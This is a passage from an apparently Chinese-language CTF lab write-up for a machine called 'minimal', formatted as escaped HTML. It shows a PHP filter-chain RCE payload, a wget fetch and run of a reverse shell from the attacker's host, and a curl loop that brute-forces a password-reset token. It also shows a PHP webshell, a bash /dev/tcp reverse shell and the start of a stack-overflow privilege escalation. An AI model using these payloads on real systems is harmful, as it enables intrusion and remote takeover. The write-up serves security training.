.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode\/resource=php:\/\/temp<\/code><\/pre>\n<p>\u8001\u6837\u5b50\uff0c\u8fdb\u884c\u8fde\u63a5\uff0c\u7136\u540e\u7ed9\u4e00\u4e2a\u53c2\u6570\uff0c\u4f20\u4e00\u4e2a\u53cd\u5f39shell\u8fc7\u53bb\uff0c\u5b8c\u6210RCE\u3002<\/p>\n<pre><code># kali\npython3 -m http.server 8888\n# minimal\nhttp:\/\/172.20.10.6\/shop_cart.php?action=payload&amp;0=wget http:\/\/172.20.10.8:8888\/revershell.php<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156653.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156653.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404190027465\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156654.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156654.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404190036088\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6210\u529f\u4e86\uff0c\u8fd0\u884c\u53cd\u5f39shell\uff1a<\/p>\n<pre><code class=\"language-bash\"># kali\nsudo pwncat-cs -lp 1234 2&gt;\/dev\/null\n# minimal\nhttp:\/\/172.20.10.6\/shop_cart.php?action=payload&amp;0=php revershell.php<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156655.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156655.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404190246998\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5f39\u8fc7\u6765\u4e86\u3002<\/p>\n<h3>\u65b9\u6cd5\u4e8c\uff1a\u91cd\u7f6e\u5bc6\u7801<\/h3>\n<p>\u7531\u4e8e\u6211\u4eec\u524d\u9762\u5f97\u5230\u7684 php \u6587\u4ef6\uff0c\u91cc\u9762\u7684\u5185\u5bb9GET\u5141\u8bb8\u6211\u4eec\u8fdb\u884cphp filter\u94fe\u6784\u9020\uff0c\u6211\u4eec\u53ef\u4ee5\u60f3\u5230\u4e4b\u524d\u6ca1\u6709\u8d77\u5230\u4f5c\u7528\u7684\u90a3\u4e2a\u5145\u503c\u5bc6\u7801\u7684\u754c\u9762\uff1a<\/p>\n<pre><code class=\"language-bash\">http:\/\/172.20.10.6\/reset_pass.php<\/code><\/pre>\n<p>\u6211\u4eec\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u51fd\u6570\uff1a<\/p>\n<pre><code class=\"language-bash\">http:\/\/172.20.10.6\/shop_cart.php?action=php:\/\/filter\/read=convert.base64-encode\/resource=reset_pass<\/code><\/pre>\n<pre><code class=\"language-php\">&lt;?php\nrequire_once &quot;.\/config.php&quot;;\n\n$error = false;\n$done = false;\n$change_pass = false;\n\nsession_start();\n\n$username = null;\n\nif ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {\n    $username = $_POST[&#039;username&#039;];\n\n    $query = $conn-&gt;prepare(&quot;SELECT * FROM users WHERE user = ?&quot;);\n    $query-&gt;bind_param(&quot;s&quot;, $username);\n\n    $query-&gt;execute();\n    $result = $query-&gt;get_result();\n\n    if ($result-&gt;num_rows == 1) {\n        while ($row = $result-&gt;fetch_assoc()) {\n            $name = $row[&#039;user&#039;];\n            $randomNumber = rand(1, 100);\n            $nameWithNumber = $name . $randomNumber;\n            $md5Hash = md5($nameWithNumber);\n            $base64Encoded = base64_encode($md5Hash);\n\n            $deleteQuery = $conn-&gt;prepare(&quot;DELETE FROM pass_reset WHERE user = ?&quot;);\n            $deleteQuery-&gt;bind_param(&quot;s&quot;, $name);\n            $deleteQuery-&gt;execute();\n\n            $insertQuery = $conn-&gt;prepare(&quot;INSERT INTO pass_reset (user, token) VALUES (?, ?)&quot;);\n            $insertQuery-&gt;bind_param(&quot;ss&quot;, $name, $base64Encoded);\n\n            if ($insertQuery-&gt;execute()) {\n                $error = false;\n                $done = true;\n            } else {\n                $error = true;\n            }\n        }\n    } else {\n        $error = true;\n    }\n}\n\nif ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;GET&#039;) {\n    if (isset($_GET[&#039;user&#039;]) and isset($_GET[&#039;token&#039;]) and isset($_GET[&#039;newpass&#039;])) {\n        $user = $_GET[&#039;user&#039;];\n        $token = $_GET[&#039;token&#039;];\n        $newpass = $_GET[&#039;newpass&#039;];\n\n        \/\/ Paso 1: Verificar si el usuario y token coinciden en la tabla pass_reset\n        $query = $conn-&gt;prepare(&quot;SELECT token FROM pass_reset WHERE user = ?&quot;);\n        $query-&gt;bind_param(&quot;s&quot;, $user);\n        $query-&gt;execute();\n        $result = $query-&gt;get_result();\n\n        if ($result-&gt;num_rows &gt; 0) {\n            $row = $result-&gt;fetch_assoc();\n            $storedToken = $row[&#039;token&#039;];\n\n            if ($storedToken === $token) {\n                \/\/ Paso 2: Actualizar la contrase\u00c3\u00b1a en la tabla users\n                $updateQuery = $conn-&gt;prepare(&quot;UPDATE users SET pass = ? WHERE user = ?&quot;);\n                $hashedPassword = password_hash($newpass, PASSWORD_DEFAULT);\n                $updateQuery-&gt;bind_param(&quot;ss&quot;, $hashedPassword, $user);\n\n                if ($updateQuery-&gt;execute()) {\n                    echo &quot;Password updated&quot;;\n                } else {\n                    echo &quot;Error updating&quot;;\n                }\n            } else {\n                echo &quot;Not valid token&quot;;\n            }\n        } else {\n            echo &quot;Error http 418 ;) &quot;;\n        }\n    }\n}\n?&gt;<\/code><\/pre>\n<p>\u53ea\u7559\u4e0bphp\u4ee3\u7801\u4e86\uff0c\u5ba1\u8ba1\u4e00\u4e0b\u57fa\u672c\u903b\u8f91\uff1a<\/p>\n<p>\u751f\u6210\u4e00\u4e2a1~100\u7684\u968f\u673a\u6570\uff0c\u548cuser\u62fc\u63a5\u8d77\u6765\uff0c\u7136\u540eMD5\u52a0\u5bc6\uff0c\u7136\u540ebase64\u52a0\u5bc6\uff0c\u8fd9\u4e2a\u4f5c\u4e3atoken\uff0c\u800cuser\u5df2\u7ecf\u786e\u5b9a\u4e86\u4e3a<code>admin<\/code>\uff0c\u6211\u4eec\u8bd5\u51fa\u6765\u4e86\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u7206\u7834\u4e00\u4e0b\uff0c\u6211\u81ea\u5df1\u4e5f\u5c1d\u8bd5\u5199\u4e86\uff0c\u5148\u62ff\u4f5c\u8005\u7684\u8bb0\u5f55\u4ee5\u4e0b\u5427\uff0c\u6807\u51c6\u7b54\u6848\u561e\uff1a<\/p>\n<pre><code class=\"language-bash\">name=&quot;admin&quot;\n\nfor ((i=1; i&lt;=100; i++)); do\n    nameWithNumber=&quot;${name}${i}&quot;\n    md5Hash=$(echo -n &quot;$nameWithNumber&quot; | md5sum | awk &#039;{print $1}&#039;)\n    base64Encoded=$(echo -n &quot;$md5Hash&quot; | base64)\n    curl -X GET &quot;http:\/\/172.20.10.6\/reset_pass.php?user=admin&amp;token=$base64Encoded&amp;newpass=patata&quot;\ndone<\/code><\/pre>\n<p>\u7136\u540e\u8bbf\u95ee\uff1a<\/p>\n<pre><code class=\"language-apl\">http:\/\/172.20.10.6\/admin.php<\/code><\/pre>\n<p>\u4f1a\u53d8\u6210\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156656.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156656.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404201926490\" \/><\/div><\/p>\n<p>\u7136\u540e\u968f\u4fbf\u4e0a\u4f20\u4e00\u4e2awebshell\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-bash\">&lt;?php system($_GET[&quot;hack&quot;]);?&gt;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156657.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156657.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404202619035\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u53cd\u5f39\u8fc7\u6765\uff1a<\/p>\n<pre><code class=\"language-bash\">http:\/\/172.20.10.6\/imgs\/shell.php?hack=bash -c &quot;bash -i &gt;%26 \/dev\/tcp\/172.20.10.8\/1234 0&gt;%261&quot;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156658.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156658.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404202843887\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@minimal:\/var\/www\/html\/imgs$ whoami;id\nwww-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n(remote) www-data@minimal:\/var\/www\/html\/imgs$ whoami\nwww-data\n(remote) www-data@minimal:\/var\/www\/html\/imgs$ sudo -l\nMatching Defaults entries for www-data on minimal:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin, use_pty\n\nUser www-data may run the following commands on minimal:\n    (root) NOPASSWD: \/opt\/quiz\/shop\n(remote) www-data@minimal:\/var\/www\/html\/imgs$ file \/opt\/quiz\/shop\n\/opt\/quiz\/shop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=c12ae144027d5fe72a74c6af34ff0619064a699f, for GNU\/Linux 3.2.0, not stripped\n(remote) www-data@minimal:\/var\/www\/html\/imgs$ cd \/opt\/quiz\n(remote) www-data@minimal:\/opt\/quiz$ ls -la\ntotal 36\ndrwxr-xr-x 2 root root  4096 Nov  5 10:18 .\ndrwxr-xr-x 3 root root  4096 Nov  1 22:09 ..\n-rw------- 1 root root  2236 Nov  1 22:18 prize.txt\n-rw-r--r-- 1 root root    27 Nov  1 22:19 results.txt\n-rwxrwxr-x 1 root root 16632 Nov  5 10:18 shop\n(remote) www-data@minimal:\/opt\/quiz$ cat prize.txt \ncat: prize.txt: Permission denied\n(remote) www-data@minimal:\/opt\/quiz$ cat results.txt \nUser: 0xH3rshel\nPoints: 3\n\n(remote) www-data@minimal:\/opt\/quiz$ .\/shop\nHey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.\nIf you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash\nWhat is my favorite OS?\nlinux\nCorrect!!\nWhat is my favorite food?\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nNope!!\nWhat is my favorite text editor?\nNope!!\nUse sudo pls :)\n(remote) www-data@minimal:\/opt\/quiz$ .\/shop\nHey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.\nIf you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash\nWhat is my favorite OS?\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nNope!!\nSegmentation fault (core dumped)<\/code><\/pre>\n<h3>\u53cd\u7f16\u8bd1<\/h3>\n<p>\u53d1\u73b0\u5b58\u5728\u6808\u6ea2\u51fa\u6f0f\u6d1e\u3002\u6587\u4ef6\u4e0b\u8f7d\u5230\u672c\u5730\u6765\u8fdb\u884c\u53cd\u7f16\u8bd1\uff1a<\/p>\n<pre><code class=\"language-c\"># main.c\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n    __int64 v3; \/\/ rbp\n    __int64 v4; \/\/ rdx\n    signed __int64 v6; \/\/ [rsp-28h] [rbp-28h]\n    signed int v7; \/\/ [rsp-20h] [rbp-20h]\n    unsigned int v8; \/\/ [rsp-1Ch] [rbp-1Ch]\n    const char *v9; \/\/ [rsp-18h] [rbp-18h]\n    const char *v10; \/\/ [rsp-10h] [rbp-10h]\n    __int64 v11; \/\/ [rsp-8h] [rbp-8h]\n\n    __asm { endbr64 }\n    v11 = v3;\n    v6 = 3347146957242197362LL;\n    v7 = 7633012;\n    v10 = &quot;Hey guys, I have prepared this little program to find out how much you know about me, since I have been your adm&quot;\n          &quot;inistrator for 2 years.&quot;;\n    v9 = &quot;If you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash&quot;;\n    sub_4010C0(\n        &quot;Hey guys, I have prepared this little program to find out how much you know about me, since I have been your adminis&quot;\n        &quot;trator for 2 years.&quot;,\n        argv,\n        envp);\n    sub_4010C0(\n        &quot;If you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash&quot;,\n        argv,\n        v4);\n    v8 = question_1();\n    v8 += question_2();\n    v8 += question_3();\n    writeResults(&amp;v6, v8);\n    if ( v8 == 3 )\n        print_prize(3LL);\n    if ( foo == 85 )\n        wait_what();\n    return 0;\n}<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ question1\nbool question_1(void)\n{\n    int32_t iVar1;\n    char *s1;\n\n    puts(&quot;What is my favorite OS?&quot;);\n    fgets(&amp;s1, 200, _stdin);\n    iVar1 = strcmp(&amp;s1, &quot;linux\\n&quot;);\n    if (iVar1 != 0) {\n        puts(&quot;Nope!!&quot;);\n    } else {\n        puts(&quot;Correct!!&quot;);\n    }\n    return iVar1 == 0;\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ question2\nsigned __int64 __usercall question_2@&lt;rax&gt;(__int64 a1@&lt;rdx&gt;, __int64 a2@&lt;rbp&gt;, __int64 a3@&lt;rsi&gt;)\n{\n  __int64 v3; \/\/ rdx\n  signed __int64 result; \/\/ rax\n  __int64 v5; \/\/ [rsp-88h] [rbp-88h]\n  __int64 v6; \/\/ [rsp-18h] [rbp-18h]\n  unsigned int v7; \/\/ [rsp-Ch] [rbp-Ch]\n  __int64 v8; \/\/ [rsp-8h] [rbp-8h]\n\n  __asm { endbr64 }\n  v8 = a2;\n  sub_4010C0(&quot;What is my favorite food?&quot;, a3, a1);\n  sub_401110(&amp;v5, 100LL, _bss_start);\n  v7 = 5;                     \/\/ \u504f\u79fb\u91cf\n  v6 = sub_4010E0();\n  if ( v6 &amp;&amp; *((_BYTE *)&amp;v8 + v6 - 129) == 10 )\n    *((_BYTE *)&amp;v8 + v6 - 129) = 0;\n  secret_q2(&amp;v5, v7);\n  if ( (unsigned int)sub_401120(&amp;v5, &quot;gfhts ufshfpjx&quot;) )\n  {\n    sub_4010C0(&quot;Nope!!&quot;, &quot;gfhts ufshfpjx&quot;, v3);\n    result = 0LL;\n  }\n  else\n  {\n    sub_4010C0(&quot;Correct!!&quot;, &quot;gfhts ufshfpjx&quot;, v3);\n    result = 1LL;\n  }\n  return result;\n}<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ question3\nbool question_3(void)\n{\n    int32_t iVar1;\n    char *s1;\n    int64_t var_ch;\n\n    puts(&quot;What is my favorite text editor?&quot;);\n    fgets(&amp;s1, 100, _stdin);\n    var_ch._0_4_ = 6;\n    secret_q3((char *)&amp;s1, 6);\n    iVar1 = strcmp(&amp;s1, &quot;hpok&amp;qorn&amp;vjsaohu\\n&quot;);\n    if (iVar1 != 0) {\n        puts(&quot;Nope!!&quot;);\n    } else {\n        puts(&quot;Correct!!&quot;);\n    }\n    return iVar1 == 0;\n}<\/code><\/pre>\n<pre><code class=\"language-c\">__int64 __usercall print_prize@&lt;rax&gt;(__int64 a1@&lt;rbp&gt;)\n{\n    __int64 result; \/\/ rax\n    __int64 v2; \/\/ [rsp-8h] [rbp-8h]\n\n    __asm { endbr64 }\n    v2 = a1;\n    result = sub_4010F0(&quot;cat .\/prize.txt&quot;);\n    if ( (_DWORD)result == -1 )\n        result = sub_401100(&quot;Error&quot;);\n    return result;\n}<\/code><\/pre>\n<pre><code class=\"language-c\">__int64 __fastcall secret_q3(__int64 a1, char a2)\n{\n  __int64 result; \/\/ rax\n  int v3; \/\/ [rsp-10h] [rbp-10h]\n  signed int i; \/\/ [rsp-Ch] [rbp-Ch]\n\n  __asm { endbr64 }\n  v3 = sub_4010E0();\n  for ( i = 0; ; ++i )\n  {\n    result = (unsigned int)(v3 - 1);\n    if ( i &gt;= (signed int)result )\n      break;\n    *(_BYTE *)(i + a1) ^= a2;\n  }\n  return result;\n}<\/code><\/pre>\n<p>\u5927\u6982\u610f\u601d\u5c31\u662f\u56de\u7b54\u4e09\u4e2a\u95ee\u9898\uff0c\u90fd\u5bf9\u4e86\u5c31<code>cat .\/prize.txt<\/code>\uff0c\u8fd9\u6b21\u7684IDA\u53cd\u7f16\u8bd1\u7684\u4e00\u5305\u6405\uff0c\u4e0a\u9762\u7684\u4ee3\u7801\u90e8\u5206\u662fIDA\uff0c\u90e8\u5206\u662fcutter\u7f16\u8bd1\u51fa\u6765\u7684\u3002<\/p>\n<h3>\u5c1d\u8bd5\u89e3\u5bc6<\/h3>\n<h4>\u7b2c\u4e00\u4e2a\u95ee\u9898\u7b54\u6848\u662flinux\u6beb\u65e0\u7591\u95ee<\/h4>\n<pre><code class=\"language-apl\">linux<\/code><\/pre>\n<h4>\u7b2c\u4e8c\u4e2a<\/h4>\n<p>\u770b\u8d77\u6765\u50cf\u662f\u51ef\u6492\u52a0\u5bc6\uff0c\u504f\u79fb\u91cf\u4e3a5<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 